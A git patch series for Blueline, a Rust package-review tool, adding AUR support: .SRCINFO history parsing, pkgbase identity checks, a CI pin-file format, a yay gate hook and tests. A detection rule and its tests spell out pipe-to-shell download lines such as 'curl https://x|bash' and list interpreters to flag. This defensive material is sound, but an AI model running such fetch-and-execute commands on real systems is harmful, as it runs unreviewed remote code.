From a422beb518feb82227c2e86e50a2f3d40ad12ff1 Mon Sep 17 00:00:00 2001 From: kridaydave Date: Sun, 6 Sep 2026 15:07:57 +0530 Subject: [PATCH 01/10] =?UTF-8?q?fix(aur):=20review=20follow-up=20P2s=20?= =?UTF-8?q?=E2=80=94=20plumbing/content=20split,=20identity=20cross-checks?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes the P2 findings from the adapter review: - commit_version classifies git failures: content-class failures (missing, oversized, non-UTF-8, malformed .SRCINFO) count as per-commit skips; plumbing failures propagate fail-closed, so object corruption can no longer be swallowed as a skip. git show runs first so the happy path is one subprocess per commit; the missing-path skip is granted only via cat-file -t plus git's 'does not exist' stderr, so corruption propagates. - resolve_package stores the matched commit's canonical version, so vercmp aliases resolve to identical store keys and display identities. - prepare_extracted_root refuses an AUR archive whose .SRCINFO pkgbase differs from the resolved package base. - list_versions keeps list_releases' vercmp order instead of re-sorting with semver prerelease rules. - New tests: canonical spelling, vercmp-order regression net, deterministic hash tiebreak, split-package pkgname→pkgbase resolve, oversized .SRCINFO skip, PKGBUILD-as-directory refusal, and pkgbase mismatch refusal. --- CHANGELOG.md | 13 +++ src/registry/aur.rs | 261 ++++++++++++++++++++++++++++++++++++++++---- src/review.rs | 47 +++++++- 3 files changed, 298 insertions(+), 23 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b3da322..88d8997 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -78,6 +78,19 @@ and this project adheres to [Semantic Versioning](https://semver.org/). ### Fixed +- AUR review hardening from the adapter review follow-up: per-commit + `.SRCINFO` reads distinguish content failures (missing, oversized, + non-UTF-8, malformed — counted as skips) from git plumbing failures + (propagated fail-closed, so object corruption can no longer masquerade as + "no parseable .SRCINFO"); `Package.version` now stores the pinned commit's + canonical version instead of the user's spelling, so vercmp aliases like + `1.1.0-01` resolve to identical store keys and displayed identities; the + extracted `.SRCINFO`'s declared `pkgbase` is cross-checked against the + resolved package base at the review boundary; `list_versions` keeps the + adapter's vercmp ordering instead of re-sorting with semver prerelease + rules; new tests pin the deterministic equal-timestamp hash tiebreak, the + split-package pkgname → pkgbase path, directory-not-file refusals, and the + pkgbase mismatch refusal. - The MCP `check_known_clean` AUR arm compares the requested version against stored clean versions with libalpm vercmp equality instead of canonical strings, so grammar-accepted spellings of an approved release (pkgrel-less diff --git a/src/registry/aur.rs b/src/registry/aur.rs index 2231f8e..8a3c1d0 100644 --- a/src/registry/aur.rs +++ b/src/registry/aur.rs @@ -435,22 +435,42 @@ fn commit_history(repo: &Path, cap: usize) -> Result<(Vec, bool), Bl Ok((commits, truncated)) } -/// Static `.SRCINFO` version of one commit. A commit whose `.SRCINFO` is -/// missing, oversized, malformed, or carries an unparseable version yields -/// `None` (counted as a skip by the callers — VCS packages mutate pkgver -/// dynamically). Plumbing failures of `git rev-list`/`git log` never reach -/// this function; a `git show` failure here is per-commit, not repo-wide. -fn commit_version(repo: &Path, hash: &str) -> Option { +/// Static `.SRCINFO` version of one commit. Content failures are per-commit +/// skips (`Ok(None)`, counted as skipped by the callers): the blob is absent +/// (VCS packages mutate pkgver dynamically and may drop the file), exceeds +/// the `SRCINFO_MAX_BYTES` cap, is not UTF-8, is malformed, or carries an +/// unparseable version. Everything else propagates fail-closed: a `git show` +/// failure on an intact commit is only a skip when git's own stderr says the +/// path "does not exist", and a `cat-file -t` failure or a non-commit kind +/// propagates, so a corrupt or unreadable object cannot masquerade as "no +/// parseable .SRCINFO". +fn commit_version(repo: &Path, hash: &str) -> Result, BluelineError> { let spec = format!("{hash}:.SRCINFO"); - let raw = git_text( + let out = match git_output( Some(repo), &["show", &spec], crate::manifest::SRCINFO_MAX_BYTES, - ) - .ok()?; - parse_aur_srcinfo(&raw) + ) { + Ok(out) => out, + Err(BluelineError::ExtractionLimit(_)) => return Ok(None), + Err(e) => { + let kind = git_text(Some(repo), &["cat-file", "-t", hash], 256)?; + if kind.trim() != "commit" { + return Err(e); + } + if !e.to_string().contains("does not exist") { + return Err(e); + } + return Ok(None); + } + }; + let raw = match String::from_utf8(out) { + Ok(raw) => raw, + Err(_) => return Ok(None), + }; + Ok(parse_aur_srcinfo(&raw) .ok() - .and_then(|s| AurVersionInfo::parse(&s.version).ok()) + .and_then(|s| AurVersionInfo::parse(&s.version).ok())) } fn verify_commit_exists(repo: &Path, hash: &str) -> Result<(), BluelineError> { @@ -570,18 +590,18 @@ impl AurRegistry { let (commits, truncated) = commit_history(repo.path(), MAX_HISTORY_COMMITS)?; let mut skipped = 0usize; - let mut matched: Option<&CommitMeta> = None; + let mut matched: Option<(&CommitMeta, AurVersionInfo)> = None; for c in &commits { - match commit_version(repo.path(), &c.hash) { + match commit_version(repo.path(), &c.hash)? { Some(v) if v == target => { - matched = Some(c); + matched = Some((c, v)); break; } Some(_) => {} None => skipped += 1, } } - let commit = matched.ok_or_else(|| { + let (commit, matched_version) = matched.ok_or_else(|| { let mut msg = format!( "version `{version}` not found in the git history of `{pkgbase}` \ (checked {} commits, {skipped} without a parseable .SRCINFO)", @@ -603,7 +623,7 @@ impl AurRegistry { }; Ok(Package { name: pkgbase, - version: version.to_string(), + version: matched_version.canonical(), tarball_url: format!("git+{clone_url}#{}", commit.hash), integrity: Some(checksum), }) @@ -683,7 +703,7 @@ impl AurRegistry { let mut seen: Vec<(AurVersionInfo, Release)> = Vec::new(); let mut skipped = 0usize; for c in &commits { - match commit_version(repo.path(), &c.hash) { + match commit_version(repo.path(), &c.hash)? { Some(v) => { // Commits are newest-first; keep the newest commit per // distinct version for an accurate publish time. @@ -729,7 +749,15 @@ impl Registry for AurRegistry { } fn list_versions(&self, name: &str) -> Result, BluelineError> { - let mut v: Vec = self + // list_releases already orders ascending by the adapter's vercmp; + // keep that order instead of re-sorting. Once releases_sorted's dedup + // has collapsed vercmp-equal spellings, semver and vercmp order agree + // for everything that survives, so the old semver re-sort was a + // latent inconsistency rather than an observable bug; not re-sorting + // pins the order as a regression net. The semver mapping is lossy: + // two-component pkgvers like "1.0-1" cannot be represented and are + // dropped. + Ok(self .list_releases(name)? .into_iter() .filter_map(|r| { @@ -739,9 +767,7 @@ impl Registry for AurRegistry { .and_then(|p| semver::Version::parse(&p.canonical()).ok()) }) }) - .collect(); - v.sort(); - Ok(v) + .collect()) } fn list_releases(&self, name: &str) -> Result, BluelineError> { @@ -1135,7 +1161,12 @@ mod tests { .unwrap(); std::fs::write( repo.join(".SRCINFO"), - format!("pkgbase = {pkgbase}\n\tpkgver = {pkgver}\n\tpkgrel = {pkgrel}\n"), + // An empty pkgrel omits the line, yielding a pkgrel-less version. + if pkgrel.is_empty() { + format!("pkgbase = {pkgbase}\n\tpkgver = {pkgver}\n") + } else { + format!("pkgbase = {pkgbase}\n\tpkgver = {pkgver}\n\tpkgrel = {pkgrel}\n") + }, ) .unwrap(); git_run(repo, &["add", "-A"]); @@ -1228,6 +1259,17 @@ mod tests { ); } + #[test] + fn resolve_stores_the_canonical_spelling_of_the_matched_version() { + let (fx, _repo) = spawn_versioned_fixture(); + let reg = fx.registry(); + let pkg = reg.resolve("yay", "1.1.0-01").unwrap(); + assert_eq!( + pkg.version, "1.1.0-1", + "stored version must be the archive's own canonical form: {pkg:?}" + ); + } + #[test] fn resolve_uses_the_newest_commit_when_versions_share_a_release() { let (fx, repo) = spawn_versioned_fixture(); @@ -1417,6 +1459,106 @@ mod tests { ); } + #[test] + fn oversized_srcinfo_is_a_per_commit_skip_not_a_repo_error() { + let fx = spawn_git_fixture(); + let repo = init_fixture_repo(&fx.fixtures, "oversize"); + commit_pkg(&repo, "oversize", "1.0.0", "1", TS_BASE, "a@example.com"); + // HEAD's .SRCINFO is far beyond the size cap: a content-class + // failure, so that commit is skipped and the walk carries on. + std::fs::write( + repo.join(".SRCINFO"), + format!( + "pkgbase = oversize\n\tpkgver = 2.0.0\n\tpkgrel = 1\n# pad\n{}\n", + "x".repeat(crate::manifest::SRCINFO_MAX_BYTES as usize + 1) + ), + ) + .unwrap(); + git_run(&repo, &["add", "-A"]); + let date = format!("@{} +0000", TS_BASE + 10); + let out = Command::new("git") + .args(["commit", "--quiet", "-m", "oversize 2.0.0"]) + .env("GIT_AUTHOR_DATE", &date) + .env("GIT_COMMITTER_DATE", &date) + .current_dir(&repo) + .output() + .unwrap(); + assert!( + out.status.success(), + "oversize commit failed: {}", + String::from_utf8_lossy(&out.stderr) + ); + let reg = fx.registry(); + + let releases = reg.list_releases("oversize").unwrap(); + let versions: Vec<&str> = releases.iter().map(|r| r.version.as_str()).collect(); + assert_eq!(versions, ["1.0.0-1"]); + + let err = reg.resolve("oversize", "2.0.0-1").unwrap_err().to_string(); + assert!( + err.contains("not found in the git history"), + "unexpected error: {err}" + ); + assert!( + err.contains("1 without a parseable .SRCINFO"), + "skipped count must include the oversized commit: {err}" + ); + } + + #[test] + fn list_versions_keeps_list_releases_vercmp_order_and_drops_unmappable() { + let fx = spawn_git_fixture(); + let repo = init_fixture_repo(&fx.fixtures, "orderflip"); + commit_pkg(&repo, "orderflip", "1.0", "1", TS_BASE, "a@example.com"); + commit_pkg( + &repo, + "orderflip", + "1.2.0", + "1", + TS_BASE + 1, + "a@example.com", + ); + commit_pkg( + &repo, + "orderflip", + "1.2.0", + "2", + TS_BASE + 2, + "a@example.com", + ); + let reg = fx.registry(); + + let releases = reg.list_releases("orderflip").unwrap(); + let release_versions: Vec<&str> = releases.iter().map(|r| r.version.as_str()).collect(); + assert_eq!(release_versions, ["1.0-1", "1.2.0-1", "1.2.0-2"]); + + // The two-component pkgver "1.0-1" has no semver representation and + // is dropped; the rest must come back in list_releases' vercmp + // ascending order, not re-sorted by semver's prerelease rules. + let versions = reg.list_versions("orderflip").unwrap(); + let got: Vec = versions.iter().map(|v| v.to_string()).collect(); + assert_eq!(got, ["1.2.0-1", "1.2.0-2"]); + } + + #[test] + fn vercmp_equal_version_aliases_collapse_to_the_newest_commit() { + let fx = spawn_git_fixture(); + let repo = init_fixture_repo(&fx.fixtures, "alias"); + commit_pkg(&repo, "alias", "1.1.0", "1", TS_BASE, "a@example.com"); + // The adapter's vercmp treats a pkgrel-less version as equal to its + // pkgrel-bearing alias ("1.5" == "1.5-1"), so both commits expose the + // same version and the newest commit's spelling wins. + commit_pkg(&repo, "alias", "1.1.0", "", TS_BASE + 1, "a@example.com"); + let reg = fx.registry(); + let releases = reg.list_releases("alias").unwrap(); + let versions: Vec<&str> = releases.iter().map(|r| r.version.as_str()).collect(); + assert_eq!(versions, ["1.1.0"]); + assert_eq!( + reg.default_version("alias").unwrap().as_deref(), + Some("1.1.0") + ); + } + #[test] fn history_walk_caps_at_200_commits_and_states_truncation() { let fx = spawn_git_fixture(); @@ -1466,6 +1608,81 @@ mod tests { assert!(err.contains("git clone failed"), "unexpected error: {err}"); } + #[test] + fn commit_history_tiebreaks_equal_timestamps_toward_the_greater_hash() { + let fx = spawn_git_fixture(); + let repo = init_fixture_repo(&fx.fixtures, "tiebreak"); + let first = commit_pkg(&repo, "tiebreak", "3.3.3", "1", TS_BASE, "a@example.com"); + // Vary the tree so the second same-timestamp commit is not empty. + std::fs::write(repo.join("changelog"), "tiebreak\n").unwrap(); + let second = commit_pkg(&repo, "tiebreak", "3.3.3", "1", TS_BASE, "a@example.com"); + assert_ne!(first, second); + let (older, newer) = if first < second { + (first, second) + } else { + (second, first) + }; + + let (commits, truncated) = commit_history(&repo, MAX_HISTORY_COMMITS).unwrap(); + assert!(!truncated); + assert_eq!(commits.len(), 2); + assert_eq!( + commits[0].hash, newer, + "deterministic tiebreak must pick the lexicographically greater hash" + ); + assert_eq!(commits[1].hash, older); + + let reg = fx.registry(); + let pkg = reg.resolve("tiebreak", "3.3.3-1").unwrap(); + assert_eq!(pkg.tarball_url.rsplit('#').next().unwrap(), newer); + } + + #[test] + fn resolve_split_package_targets_the_package_base_repo_and_name() { + let dir = tempfile::tempdir().unwrap(); + let fixtures = dir.path().join("fixtures"); + std::fs::create_dir_all(&fixtures).unwrap(); + let server = MockAurServer::spawn(|path| { + if let Some(name) = path.strip_prefix("/rpc/v5/info?arg%5B%5D=") { + let name = name.split('&').next().unwrap_or(""); + let base = if name == "demopkg" { + "demopkg-base" + } else { + name + }; + let info = serde_json::json!({ + "ID": 1, + "Name": name, + "PackageBaseID": 1, + "PackageBase": base, + "Version": "2.0-1", + "Maintainer": "someone" + }); + (200, "application/json".into(), rpc_body(info)) + } else { + (404, "text/plain".into(), b"nope".to_vec()) + } + }); + let repo = init_fixture_repo(&fixtures, "demopkg-base"); + commit_pkg(&repo, "demopkg-base", "2.0", "1", TS_BASE, "a@example.com"); + let reg = AurRegistry::with_bases( + &server.base, + fixtures.to_str().unwrap(), + RegistryLimits::default(), + ); + + let pkg = reg.resolve("demopkg", "2.0-1").unwrap(); + assert_eq!(pkg.name, "demopkg-base"); + assert_eq!(pkg.version, "2.0-1"); + assert!( + pkg.tarball_url.contains("/demopkg-base.git#"), + "unexpected url {}", + pkg.tarball_url + ); + let bytes = reg.fetch_tarball(&pkg).unwrap(); + assert_eq!(&bytes[..2], &[0x1f, 0x8b], "archive must be gzip tar"); + } + #[test] fn release_author_returns_the_pinned_commit_author_email() { let (fx, _repo) = spawn_versioned_fixture(); diff --git a/src/review.rs b/src/review.rs index f345ec1..44aa876 100644 --- a/src/review.rs +++ b/src/review.rs @@ -359,7 +359,17 @@ fn prepare_extracted_root( )); } } - read_aur_srcinfo(&root.join(".SRCINFO"))? + let manifest = read_aur_srcinfo(&root.join(".SRCINFO"))?; + if manifest.name != canonical_name { + return Err(crate::error::BluelineError::Manifest( + canonical_name.to_string(), + format!( + "AUR archive declares pkgbase `{}` but the review resolved `{canonical_name}`; refusing to review", + manifest.name + ), + )); + } + manifest } Ecosystem::PyPi => { let candidate = root.join("METADATA"); @@ -1113,6 +1123,21 @@ mod tests { "unexpected error: {err}" ); + let dir2 = tempfile::tempdir().unwrap(); + std::fs::create_dir(dir2.path().join("PKGBUILD")).unwrap(); + std::fs::write( + dir2.path().join(".SRCINFO"), + "pkgbase = demo\n\tpkgver = 1.0\n\tpkgrel = 1\n", + ) + .unwrap(); + let err = prepare_extracted_root(dir2.path(), Ecosystem::Aur, "demo", "1.0-1") + .unwrap_err() + .to_string(); + assert!( + err.contains("missing `PKGBUILD`"), + "unexpected error: {err}" + ); + std::fs::write( dir.path().join(".SRCINFO"), "pkgbase = demo\n\tpkgver = 1.0\n\tpkgrel = 1\n", @@ -1124,4 +1149,24 @@ mod tests { assert_eq!(manifest.name, "demo"); assert_eq!(manifest.version, "1.0-1"); } + + #[test] + fn prepare_extracted_root_refuses_aur_pkgbase_mismatch() { + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("PKGBUILD"), "pkgname=other\n").unwrap(); + std::fs::write( + dir.path().join(".SRCINFO"), + "pkgbase = other\n\tpkgver = 1.0\n\tpkgrel = 1\n", + ) + .unwrap(); + let err = prepare_extracted_root(dir.path(), Ecosystem::Aur, "demo", "1.0-1") + .unwrap_err() + .to_string(); + assert!( + err.contains( + "AUR archive declares pkgbase `other` but the review resolved `demo`; refusing to review" + ), + "unexpected error: {err}" + ); + } } From b824481eeacb35461ab76d14bba6d7b4c228ac98 Mon Sep 17 00:00:00 2001 From: kridaydave Date: Mon, 7 Sep 2026 21:58:52 +0530 Subject: [PATCH 02/10] fix(aur): R05 false positive, split identity, author pin, R13 pipe gap --- CHANGELOG.md | 7 ++++++ src/heuristic.rs | 59 ++++++++++++++++++++++++++++++++++++++++++++- src/pkgbuild.rs | 19 ++++++++++++--- src/registry/aur.rs | 19 ++++++++++++++- 4 files changed, 98 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 88d8997..a6c3699 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -97,6 +97,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/). `12.4.2`, epoch-explicit `0:12.4.2-1`) now report `isClean: true` against a stored `12.4.2-1` instead of a false negative; an unparseable AUR version is now an `invalid params` error rather than a guaranteed not-clean. +- AUR review follow-up fixes: R05 no longer runs the semver leg on AUR + versions (two-component `1.0-1` spellings are normal, validated with + `AurVersionInfo` instead); split-package pkgnames fail closed with a + pointer to review the pkgbase explicitly instead of silently swapping + identity; `release_author` pins the clone URL and verifies the commit + before reading the author email; R13 spots spaceless pipes (`curl x|bash`) + and fetcher pipes into `python`/`perl`/`ruby`/`php`. - Release workflow smoke gate invokes the shipped binary with `--policy blueline.toml --output json --yes` and asserts on the presence of the `integrity` field, matching the current CLI flags and the 0.3.0 diff --git a/src/heuristic.rs b/src/heuristic.rs index 679531d..3ae1a48 100644 --- a/src/heuristic.rs +++ b/src/heuristic.rs @@ -382,7 +382,21 @@ pub fn evaluate_with_trust( // R05: Large diff anomaly on patch or non-standard semver if let Some(base_ver_str) = &delta.baseline_version { - if ecosystem == Ecosystem::PyPi { + if ecosystem == Ecosystem::Aur { + let base_ok = crate::version::AurVersionInfo::parse(base_ver_str).is_ok(); + let target_ok = crate::version::AurVersionInfo::parse(&delta.target_version).is_ok(); + if !(base_ok && target_ok) { + findings.push(Finding { + rule_id: "R05_NON_STANDARD_VERSION".into(), + severity: VerdictBand::Medium, + title: "Non-standard version format".into(), + description: format!( + "Baseline `{base_ver_str}` or target `{}` does not conform to the AUR version grammar.", + delta.target_version + ), + }); + } + } else if ecosystem == Ecosystem::PyPi { if let (Ok(base_v), Ok(target_v)) = ( crate::version::Pep440Version::parse(base_ver_str), crate::version::Pep440Version::parse(&delta.target_version), @@ -3276,4 +3290,47 @@ mod tests { ); assert_eq!(verdict.band, VerdictBand::Low); } + + #[test] + fn aur_two_component_versions_are_not_non_standard() { + let delta = Delta { + baseline_version: Some("1.0-1".into()), + target_version: "1.0-2".into(), + files_added: vec![], + files_removed: vec![], + files_modified: vec![], + total_lines_added: 1, + total_lines_deleted: 0, + new_executables: vec![], + new_binaries: vec![], + modified_binaries: vec![], + new_lifecycle_scripts: vec![], + modified_lifecycle_scripts: vec![], + new_dependencies: vec![], + modified_dependencies: vec![], + removed_dependencies: vec![], + binding_gyp_added: false, + }; + let verdict = evaluate_with_trust( + "test-pkg", + Ecosystem::Aur, + "sha256:abc", + &delta, + false, + false, + false, + false, + &Policy::default(), + None, + None, + ); + assert!( + !verdict + .findings + .iter() + .any(|f| f.rule_id == "R05_NON_STANDARD_VERSION"), + "ordinary AUR versions must not trip R05, got {:?}", + verdict.findings + ); + } } diff --git a/src/pkgbuild.rs b/src/pkgbuild.rs index efb75d8..43fc337 100644 --- a/src/pkgbuild.rs +++ b/src/pkgbuild.rs @@ -1822,10 +1822,13 @@ fn line_matches_pipe_to_shell(line: &str) -> bool { if !fetcher { return false; } - let shell_hits = ["bash", "sh", "dash", "zsh", "fish"].iter().any(|shell| { - right - .split_whitespace() - .any(|word| word.trim_matches(';') == *shell) + let interpreters = [ + "bash", "sh", "dash", "zsh", "fish", "python", "python3", "perl", "ruby", "php", + ]; + let shell_hits = interpreters.iter().any(|shell| { + right.split_whitespace().any(|word| { + word.trim_matches(['|', '&', ';', '"', '\'', '(', ')', ',', '`', '{', '}']) == *shell + }) }); fetcher && shell_hits } @@ -2558,6 +2561,14 @@ mod tests { assert!(has_rule(&findings, "R13_PIPE_TO_SHELL")); } + #[test] + fn r13_catches_spaceless_pipe_and_script_interpreters() { + let findings = findings_for("build() {\n curl https://x|bash\n}\n"); + assert!(has_rule(&findings, "R13_PIPE_TO_SHELL")); + let findings = findings_for("build() {\n curl https://x | python3\n}\n"); + assert!(has_rule(&findings, "R13_PIPE_TO_SHELL")); + } + #[test] fn indexed_assignment_overrides_slot() { let folded = parse_pkgbuild("sha256sums=(aaa bbb)\nsha256sums[1]='SKIP'\n").unwrap(); diff --git a/src/registry/aur.rs b/src/registry/aur.rs index 8a3c1d0..ccb0746 100644 --- a/src/registry/aur.rs +++ b/src/registry/aur.rs @@ -584,6 +584,11 @@ impl AurRegistry { .rpc .pkgbase(name) .map_err(|e| with_aur_context(e, name))?; + if pkgbase != name { + return Err(BluelineError::InvalidPackageSpec(format!( + "`{name}` is part of split package base `{pkgbase}`; review `{pkgbase}@{version}` instead so the verdict and baseline cannot silently change identity" + ))); + } let clone_url = self.clone_url(&pkgbase); let repo = self.temp_repo()?; self.clone_repo(&clone_url, repo.path())?; @@ -686,6 +691,11 @@ impl AurRegistry { .rpc .pkgbase(name) .map_err(|e| with_aur_context(e, name))?; + if pkgbase != name { + return Err(BluelineError::InvalidPackageSpec(format!( + "`{name}` is part of split package base `{pkgbase}`; review `{pkgbase}` instead so the verdict and baseline cannot silently change identity" + ))); + } let clone_url = self.clone_url(&pkgbase); let repo = self.temp_repo()?; self.clone_repo(&clone_url, repo.path())?; @@ -782,8 +792,10 @@ impl Registry for AurRegistry { /// identity). Failures degrade to `None` = "unknown" by design. fn release_author(&self, pkg: &Package) -> Option { let (clone_url, commit) = parse_git_tarball_url(&pkg.tarball_url).ok()?; + self.pin_clone_url(&clone_url).ok()?; let repo = self.temp_repo().ok()?; self.clone_repo(&clone_url, repo.path()).ok()?; + verify_commit_exists(repo.path(), &commit).ok()?; let text = git_text( Some(repo.path()), &["log", "-1", "--format=%ae", &commit], @@ -1671,7 +1683,12 @@ mod tests { RegistryLimits::default(), ); - let pkg = reg.resolve("demopkg", "2.0-1").unwrap(); + let err = reg.resolve("demopkg", "2.0-1").unwrap_err().to_string(); + assert!( + err.contains("demopkg-base@2.0-1"), + "split pkgname must fail closed with a pkgbase pointer, got: {err}" + ); + let pkg = reg.resolve("demopkg-base", "2.0-1").unwrap(); assert_eq!(pkg.name, "demopkg-base"); assert_eq!(pkg.version, "2.0-1"); assert!( From da9435f2f15504698cf573c8415eb5ed542dbeef Mon Sep 17 00:00:00 2001 From: kridaydave Date: Fri, 11 Sep 2026 20:54:05 +0530 Subject: [PATCH 03/10] Wire AUR pin files into ci plus yay hook docs Commit made by muse-spark-1.3 in T3 Code on behalf of Kriday. --- CHANGELOG.md | 11 +++ README.md | 54 +++++++++++++- TODO.md | 2 +- src/ci.rs | 186 ++++++++++++++++++++++++++++++++++++++++++++--- tests/aur_cli.rs | 47 +++++++++++- 5 files changed, 282 insertions(+), 18 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a6c3699..eb656ff 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,17 @@ and this project adheres to [Semantic Versioning](https://semver.org/). ### Added +- AUR integration (`feat/aur-integration`): `blueline --ecosystem aur ci + --lockfile aur.lock` reviews added and version-changed pins from a file of + one `pkgbase@pkgver-pkgrel` per line (blank lines and `#` comments + skipped, malformed lines and double pins fail closed with line numbers, + 4096-entry cap, base read via `git show` like other ecosystems); a yay v13 + `AURPreInstall` Lua hook recipe in the README gating the build on + `blueline review --yes`, with the re-review-on-drift timing note; + `ecosystem = "aur"` policy scoping through the existing generic matcher; + and README threat-model copy stating the repo-scripts-only scope, the + review-with-blueline-build-with-yay flow, and the commit-bound audit + integrity. - PKGBUILD static heuristics (`src/pkgbuild.rs`, AUR reviews only): a hand-rolled tokenizer with quote-aware lexing (`$'...'` ANSI-C, line continuations, word-boundary comments), multi-pass variable folding, diff --git a/README.md b/README.md index d391dda..d1e06ca 100644 --- a/README.md +++ b/README.md @@ -47,7 +47,7 @@ If a release exceeds risk thresholds, Blueline blocks the install and halts the ## Project status -- [x] Multi-registry support: npm, crates.io (`--ecosystem cargo`), and PyPI (`--ecosystem pypi`) +- [x] Multi-registry support: npm, crates.io (`--ecosystem cargo`), PyPI (`--ecosystem pypi`), and AUR (`--ecosystem aur`, review-only) - [x] Sandboxed archive extraction with path traversal, symlink, and decompression bomb guards - [x] Package manifest parsing, cryptographic integrity (SHA-256 / SHA-512), and PEP 740 / SLSA provenance - [x] SQLite store for verified baseline releases and audit logging @@ -70,6 +70,58 @@ cargo build --release ./target/release/blueline review express@4.21.2 ``` +## AUR + +Blueline reviews AUR packages but never builds them: `blueline install` +refuses `--ecosystem aur` because building a PKGBUILD runs its shell code. +Review with blueline, build with yay or paru. + +```bash +blueline --ecosystem aur review yay@12.4.2-1 +``` + +Threat model, plainly stated: the review covers the repo scripts only. +Downloaded upstream sources listed in `source=()` are not reviewed, and the +build step executes the PKGBUILD. Every AUR card carries that scope +disclosure. The stored approval is bound to the reviewed commit: the audit +log keeps the sha256 of the pinned commit's archive bytes, so a history +rewrite never passes as the same approval. + +### yay gate hook + +yay v13 runs `AURPreInstall` Lua hooks before building. Drop this in your +yay config to block the build unless blueline approves the version: + +```lua +function AURPreInstall(packages) + for _, pkg in ipairs(packages) do + local ok = os.execute( + "blueline --ecosystem aur review " + .. pkg .. " --yes --policy blueline.toml" + ) + if ok ~= 0 then return 1 end + end + return 0 +end +``` + +Timing note: the review pins the newest commit for that version at review +time, while yay builds its own download. Re-run the review right before the +build and treat any version drift as a re-review signal. + +### AUR in CI + +`blueline ci` accepts a pin file with one `pkgbase@pkgver-pkgrel` per line, +blank lines and `#` comments allowed. Pipe your own tooling over +`pacman -Qqm` to produce it: + +```bash +blueline --ecosystem aur ci --lockfile aur.lock --base origin/main +``` + +Policy rules take `ecosystem = "aur"` to scope allows and blocks to AUR, +or omit it to match every ecosystem. + ## Contributors See [CONTRIBUTORS.md](./CONTRIBUTORS.md) for maintainers, contributors, and details on how to get involved. diff --git a/TODO.md b/TODO.md index cacc259..b992194 100644 --- a/TODO.md +++ b/TODO.md @@ -137,7 +137,7 @@ Rulings: - [x] PR1 feat/aur-foundation - [x] PR2 feat/aur-adapter - [x] PR3 feat/pkgbuild-heuristics -- [ ] PR4 feat/aur-integration +- [x] PR4 feat/aur-integration Mark your PR's box `[x]` in the same branch before opening it. diff --git a/src/ci.rs b/src/ci.rs index b7d182e..6cc36d1 100644 --- a/src/ci.rs +++ b/src/ci.rs @@ -1,3 +1,4 @@ +use std::collections::BTreeMap; use std::fs; use std::io::Write; use std::path::Path; @@ -8,10 +9,12 @@ use serde::{Deserialize, Serialize}; use crate::lockfile::{compute_delta_from_maps, compute_lockfile_delta}; use crate::policy::Policy; use crate::registry::Ecosystem; +use crate::registry::aur::validate_aur_name; use crate::render::{sanitize_single_line, sanitize_terminal}; use crate::review::evaluate_package; use crate::store::BaselineStore; use crate::verdict::{Verdict, VerdictBand}; +use crate::version::{AurVersionInfo, VersionInfo}; #[derive(Clone, Copy, Debug, PartialEq, Eq)] pub enum CiOutputFormat { @@ -62,6 +65,51 @@ fn is_pypi_lockfile(ecosystem: Ecosystem, lockfile_path: &Path) -> bool { }) } +/// Bounds for the AUR CI file: one `pkgbase@pkgver-pkgrel` per line. +const MAX_AUR_CI_LINES: usize = 4096; +const MAX_AUR_CI_LINE_BYTES: usize = 512; + +/// Parse an AUR CI file into `pkgbase -> version`. Blank lines and `#` +/// comments are skipped; everything else must be exactly one valid +/// `pkgbase@pkgver-pkgrel` entry or the whole file fails closed with the +/// offending line number. A repeated pkgbase with a different version fails +/// closed so the file cannot state two pins for one package. +fn parse_aur_ci_lines(content: &str) -> anyhow::Result> { + let mut map = BTreeMap::new(); + for (idx, raw) in content.lines().enumerate() { + let lineno = idx + 1; + let line = raw.trim(); + if line.is_empty() || line.starts_with('#') { + continue; + } + if line.len() > MAX_AUR_CI_LINE_BYTES { + anyhow::bail!("AUR CI file line {lineno} exceeds {MAX_AUR_CI_LINE_BYTES} bytes"); + } + if map.len() >= MAX_AUR_CI_LINES { + anyhow::bail!("AUR CI file exceeds {MAX_AUR_CI_LINES} entries"); + } + let Some((name, version)) = line.split_once('@') else { + anyhow::bail!("AUR CI file line {lineno} must be `pkgbase@pkgver-pkgrel`"); + }; + if !validate_aur_name(name) { + anyhow::bail!("AUR CI file line {lineno} has an invalid pkgbase `{name}`"); + } + if AurVersionInfo::parse(version).is_err() { + anyhow::bail!("AUR CI file line {lineno} has an invalid version `{version}`"); + } + match map.get(name) { + Some(prev) if prev != version => { + anyhow::bail!("AUR CI file pins `{name}` twice with different versions"); + } + Some(_) => continue, + None => { + map.insert(name.to_string(), version.to_string()); + } + } + } + Ok(map) +} + fn check_evaluation_budget(added: usize, upgraded: usize, max: usize) -> anyhow::Result { let total = added + upgraded; if total > max { @@ -93,12 +141,6 @@ pub fn run( fail_on_override: Option, output_file: Option<&Path>, ) -> anyhow::Result<()> { - if ecosystem == Ecosystem::Aur { - return Err(anyhow::anyhow!( - "AUR CI scanning is not supported yet: there is no AUR lockfile format to diff" - )); - } - let policy = Policy::load_or_default(policy_path)?; let store = BaselineStore::open()?; @@ -116,7 +158,8 @@ pub fn run( let is_cargo = is_cargo_lockfile(ecosystem, lockfile_path); let is_pypi = is_pypi_lockfile(ecosystem, lockfile_path); - let base_content = extract_base_lockfile(base_ref, lockfile_path, is_cargo, is_pypi)?; + let is_aur = ecosystem == Ecosystem::Aur; + let base_content = extract_base_lockfile(base_ref, lockfile_path, is_cargo, is_pypi, is_aur)?; let lockfile_str = lockfile_path.display().to_string(); let ctx = CiContext { @@ -178,6 +221,10 @@ pub fn evaluate_lockfile_diff( store: &BaselineStore, policy: &Policy, ) -> anyhow::Result { + if ctx.ecosystem == Ecosystem::Aur { + return evaluate_aur_ci_diff(base_content, head_content, ctx, store, policy); + } + let is_cargo = is_cargo_lockfile(ctx.ecosystem, Path::new(ctx.lockfile_path)); let is_pypi = is_pypi_lockfile(ctx.ecosystem, Path::new(ctx.lockfile_path)); @@ -313,11 +360,83 @@ pub fn evaluate_lockfile_diff( }) } +/// Review the AUR CI file diff: every added or version-changed pkgbase gets +/// a full `evaluate_package` review. Removed entries need no review. +/// The stored integrity for each item is the sha256 of the pinned commit's +/// `git archive` bytes, so the audit trail stays bound to the commit 